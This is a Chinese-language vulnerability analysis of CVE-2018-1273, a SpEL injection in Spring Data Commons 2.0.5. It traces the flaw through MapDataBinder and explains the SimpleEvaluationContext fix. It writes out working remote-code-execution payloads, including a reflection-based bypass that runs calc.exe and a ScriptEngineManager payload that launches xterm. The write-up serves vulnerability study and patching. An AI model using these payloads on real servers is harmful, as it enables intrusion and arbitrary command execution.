https://pivotal.io/security/cve-2018-1273
漏洞影响版本:
从漏洞公告页的Refference给出的两个链接 commit/b1a20ae1e82a63f99b3afc6f2aaedb3bf4dc432a 和 commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653 ,可以看出该漏洞为SpEL注入。
在漏洞发现者 Philippe Arteau @h3xstream 的 推文和回复 中提到:
@requestMapping("/users") class UserController { @requestsMapping(method= RequestMethod.POST) public Object register(UserForm userForm, BindingResult binding, Model model){} }
此外 Spring Data Team @SpringData 在该推文中回复:
Spring Data Team That's only true if the form backing object is a projection interface. Simple DTOs are safe.
因此可以推测出几个漏洞条件:
另外根据 Philippe Arteau @h3xstream 提供的示例代码,不难发现这是spring官方的 示例代码 spring-data-examples 中的一部分
因此环境搭建以及漏洞探索过程不妨从此入手。
git clone https://github.com/spring-projects/spring-data-examples
我直接采用默认配置pom.xml,对应的Spring Data Commons版本为2.0.5
运行其中的web/example。
这是一个简单的注册页面,输入用户名、密码并重复。
抓包,修改payload数据:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=chybeta&password=chybeta&repeatedPassword=chybeta
限于能力,还真不知道这个洞该从何谈起。干脆就定位到 org/springframework/data/web/MapDataBinder.java:174 。之所以定位到这里,官方的 commit 中在这里去除了StandardEvaluationContext,改用SimpleEvaluationContext。
可以看到这里的propertyName即我们传入的参数名,其中带有了payaload。
继续执行至187行,对其进行解析 parseExpression(propertyName)
继续执行到217行,解析了spel表达式,成功执行calc.exe。
跟 spring-messaging Remote Code Execution 分析-【CVE-2018-1270】 中使用的 expression.getValue(context, Boolean.class)
不同,这里执行spel表达式使用的是 expression.setValue(context, value)
。以后在找类似的spel表达式注入时可以针对性查找这两条语句。
上图来自0c0c0f师傅的 CVE-2018-1270 Remote Code Execution with spring-messaging ,作为经验参考。
以 spring-data-commons 2.0.6 版本为例 https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653
换用SimpleEvaluationContext,用于实现简单的数据绑定,保持灵活性减少安全隐患(来自 360cert语 )。
Spring Data Commons 2.0.5版本怼了一天,从早上8点怼到现在,尽管确定了Spel注入点,但就是用普通的表达式弹不出计算器。比如使用 T(java.lang.Runtime).getRuntime().exec('calc.exe')
用动态调用 (new java.lang.ProcessBuilder('calc')).start()
的方式也会触发失败。
刚刚才看到 xxlegend大师傅 在其中说明了原因Spring Data Commons 2.0.5版本中 MapDataBinder.java 的182添加了:
context.setTypeLocator(typeName -> { throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName); });
最后用下面的payload,利用 Java 反射机制可以绕过
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=chybeta&password=chybeta&repeatedPassword=chybeta
另外matthiaskaiser 在 https://gist.github.com/matthiaskaiser/bfb274222c009b3570ab26436dc8799e 给出了另一个payload:
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
关于这个payload是怎么出来的,可以借鉴以下几个漏洞